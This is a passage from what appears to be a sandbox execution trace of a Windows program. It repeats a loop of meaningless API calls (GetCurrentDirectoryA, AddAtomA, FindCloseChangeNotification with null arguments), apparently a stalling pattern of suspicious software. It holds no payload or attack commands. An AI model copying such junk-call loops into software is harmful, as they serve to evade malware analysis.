lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.876] AddAtomA (lpString=0x0) returned 0x0 [0053.876] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.876] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.876] AddAtomA (lpString=0x0) returned 0x0 [0053.876] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.876] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.876] AddAtomA (lpString=0x0) returned 0x0 [0053.876] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.876] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.876] AddAtomA (lpString=0x0) returned 0x0 [0053.876] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.876] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.876] AddAtomA (lpString=0x0) returned 0x0 [0053.876] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.876] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.876] AddAtomA (lpString=0x0) returned 0x0 [0053.876] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.877] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.877] AddAtomA (lpString=0x0) returned 0x0 [0053.877] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.877] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.877] AddAtomA (lpString=0x0) returned 0x0 [0053.877] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.877] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.877] AddAtomA (lpString=0x0) returned 0x0 [0053.877] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.877] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.877] AddAtomA (lpString=0x0) returned 0x0 [0053.877] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.877] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.877] AddAtomA (lpString=0x0) returned 0x0 [0053.877] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.877] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.877] AddAtomA (lpString=0x0) returned 0x0 [0053.877] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.877] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.877] AddAtomA (lpString=0x0) returned 0x0 [0053.877] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.877] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.877] AddAtomA (lpString=0x0) returned 0x0 [0053.877] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.877] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.877] AddAtomA (lpString=0x0) returned 0x0 [0053.877] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.877] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.877] AddAtomA (lpString=0x0) returned 0x0 [0053.877] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.877] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.877] AddAtomA (lpString=0x0) returned 0x0 [0053.877] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.877] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.877] AddAtomA (lpString=0x0) returned 0x0 [0053.878] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.878] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.878] AddAtomA (lpString=0x0) returned 0x0 [0053.878] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.878] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.878] AddAtomA (lpString=0x0) returned 0x0 [0053.878] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.878] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.878] AddAtomA (lpString=0x0) returned 0x0 [0053.878] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.878] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.878] AddAtomA (lpString=0x0) returned 0x0 [0053.878] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.878] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.878] AddAtomA (lpString=0x0) returned 0x0 [0053.878] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.878] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.878] AddAtomA (lpString=0x0) returned 0x0 [0053.878] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.878] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.878] AddAtomA (lpString=0x0) returned 0x0 [0053.878] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.878] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.878] AddAtomA (lpString=0x0) returned 0x0 [0053.878] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.878] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.878] AddAtomA (lpString=0x0) returned 0x0 [0053.878] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.878] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.878] AddAtomA (lpString=0x0) returned 0x0 [0053.878] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.878] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.878] AddAtomA (lpString=0x0) returned 0x0 [0053.878] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.879] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.879] AddAtomA (lpString=0x0) returned 0x0 [0053.879] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.879] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.879] AddAtomA (lpString=0x0) returned 0x0 [0053.879] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.879] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.879] AddAtomA (lpString=0x0) returned 0x0 [0053.879] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.879] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.879] AddAtomA (lpString=0x0) returned 0x0 [0053.879] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.879] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.879] AddAtomA (lpString=0x0) returned 0x0 [0053.879] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.879] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.879] AddAtomA (lpString=0x0) returned 0x0 [0053.879] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.879] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.879] AddAtomA (lpString=0x0) returned 0x0 [0053.879] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.879] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.879] AddAtomA (lpString=0x0) returned 0x0 [0053.879] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.879] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.879] AddAtomA (lpString=0x0) returned 0x0 [0053.879] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.879] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.879] AddAtomA (lpString=0x0) returned 0x0 [0053.879] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.879] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.879] AddAtomA (lpString=0x0) returned 0x0 [0053.879] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.879] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.879] AddAtomA (lpString=0x0) returned 0x0 [0053.879] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.880] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.880] AddAtomA (lpString=0x0) returned 0x0 [0053.880] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.880] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.880] AddAtomA (lpString=0x0) returned 0x0 [0053.880] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.880] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.880] AddAtomA (lpString=0x0) returned 0x0 [0053.880] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.880] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.880] AddAtomA (lpString=0x0) returned 0x0 [0053.880] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.880] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.880] AddAtomA (lpString=0x0) returned 0x0 [0053.880] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.880] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.880] AddAtomA (lpString=0x0) returned 0x0 [0053.880] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.880] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.880] AddAtomA (lpString=0x0) returned 0x0 [0053.880] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.880] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.880] AddAtomA (lpString=0x0) returned 0x0 [0053.880] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.880] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.880] AddAtomA (lpString=0x0) returned 0x0 [0053.880] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.880] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.880] AddAtomA (lpString=0x0) returned 0x0 [0053.880] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.880] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.880] AddAtomA (lpString=0x0) returned 0x0 [0053.880] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.880] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.880] AddAtomA (lpString=0x0) returned 0x0 [0053.880] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.880] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.881] AddAtomA (lpString=0x0) returned 0x0 [0053.881] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.881] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.881] AddAtomA (lpString=0x0) returned 0x0 [0053.881] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.881] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.881] AddAtomA (lpString=0x0) returned 0x0 [0053.881] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.881] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.881] AddAtomA (lpString=0x0) returned 0x0 [0053.881] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.881] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.881] AddAtomA (lpString=0x0) returned 0x0 [0053.881] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.881] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.881] AddAtomA (lpString=0x0) returned 0x0 [0053.881] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.881] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.881] AddAtomA (lpString=0x0) returned 0x0 [0053.881] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.881] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.881] AddAtomA (lpString=0x0) returned 0x0 [0053.881] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.881] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.881] AddAtomA (lpString=0x0) returned 0x0 [0053.881] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.881] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.881] AddAtomA (lpString=0x0) returned 0x0 [0053.881] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.881] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.881] AddAtomA (lpString=0x0) returned 0x0 [0053.881] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.881] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.881] AddAtomA (lpString=0x0) returned 0x0 [0053.881] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.882] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.882] AddAtomA (lpString=0x0) returned 0x0 [0053.882] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.882] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.882] AddAtomA (lpString=0x0) returned 0x0 [0053.882] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.882] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.882] AddAtomA (lpString=0x0) returned 0x0 [0053.882] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.882] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.882] AddAtomA (lpString=0x0) returned 0x0 [0053.882] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.882] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.882] AddAtomA (lpString=0x0) returned 0x0 [0053.882] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.882] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.882] AddAtomA (lpString=0x0) returned 0x0 [0053.882] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.882] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.882] AddAtomA (lpString=0x0) returned 0x0 [0053.882] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.882] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.882] AddAtomA (lpString=0x0) returned 0x0 [0053.882] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.882] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.882] AddAtomA (lpString=0x0) returned 0x0 [0053.882] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.882] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.882] AddAtomA (lpString=0x0) returned 0x0 [0053.882] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.882] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.882] AddAtomA (lpString=0x0) returned 0x0 [0053.882] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.882] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.883] AddAtomA (lpString=0x0) returned 0x0 [0053.883] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.883] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.883] AddAtomA (lpString=0x0) returned 0x0 [0053.883] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.883] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.883] AddAtomA (lpString=0x0) returned 0x0 [0053.883] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.883] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.883] AddAtomA (lpString=0x0) returned 0x0 [0053.883] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.883] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.883] AddAtomA (lpString=0x0) returned 0x0 [0053.883] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.883] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.883] AddAtomA (lpString=0x0) returned 0x0 [0053.883] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.883] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.883] AddAtomA (lpString=0x0) returned 0x0 [0053.883] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.883] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.883] AddAtomA (lpString=0x0) returned 0x0 [0053.883] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.883] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.883] AddAtomA (lpString=0x0) returned 0x0 [0053.883] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.883] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.883] AddAtomA (lpString=0x0) returned 0x0 [0053.883] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.883] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.883] AddAtomA (lpString=0x0) returned 0x0 [0053.883] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.883] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.883] AddAtomA (lpString=0x0) returned 0x0 [0053.883] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.883] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.883] AddAtomA (lpString=0x0) returned 0x0 [0053.884] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.884] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.884] AddAtomA (lpString=0x0) returned 0x0 [0053.884] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.922] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.922] AddAtomA (lpString=0x0) returned 0x0 [0053.922] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.922] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.922] AddAtomA (lpString=0x0) returned 0x0 [0053.922] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.922] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.922] AddAtomA (lpString=0x0) returned 0x0 [0053.922] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.922] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.922] AddAtomA (lpString=0x0) returned 0x0 [0053.922] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.922] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.922] AddAtomA (lpString=0x0) returned 0x0 [0053.922] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.922] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.922] AddAtomA (lpString=0x0) returned 0x0 [0053.922] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.922] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.922] AddAtomA (lpString=0x0) returned 0x0 [0053.922] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.922] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.922] AddAtomA (lpString=0x0) returned 0x0 [0053.922] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.923] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.923] AddAtomA (lpString=0x0) returned 0x0 [0053.923] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.923] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.923] AddAtomA (lpString=0x0) returned 0x0 [0053.923] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.923] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.923] AddAtomA (lpString=0x0) returned 0x0 [0053.923] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.923] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.923] AddAtomA (lpString=0x0) returned 0x0 [0053.923] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.923] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.923] AddAtomA (lpString=0x0) returned 0x0 [0053.923] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.923] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.923] AddAtomA (lpString=0x0) returned 0x0 [0053.923] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.923] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.923] AddAtomA (lpString=0x0) returned 0x0 [0053.923] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.923] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.923] AddAtomA (lpString=0x0) returned 0x0 [0053.923] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.923] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.923] AddAtomA (lpString=0x0) returned 0x0 [0053.923] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.923] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.923] AddAtomA (lpString=0x0) returned 0x0 [0053.924] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.924] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.924] AddAtomA (lpString=0x0) returned 0x0 [0053.924] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.924] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.924] AddAtomA (lpString=0x0) returned 0x0 [0053.924] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.924] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.924] AddAtomA (lpString=0x0) returned 0x0 [0053.924] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.924] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.924] AddAtomA (lpString=0x0) returned 0x0 [0053.924] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.924] GetCurrentDirectoryA (in: 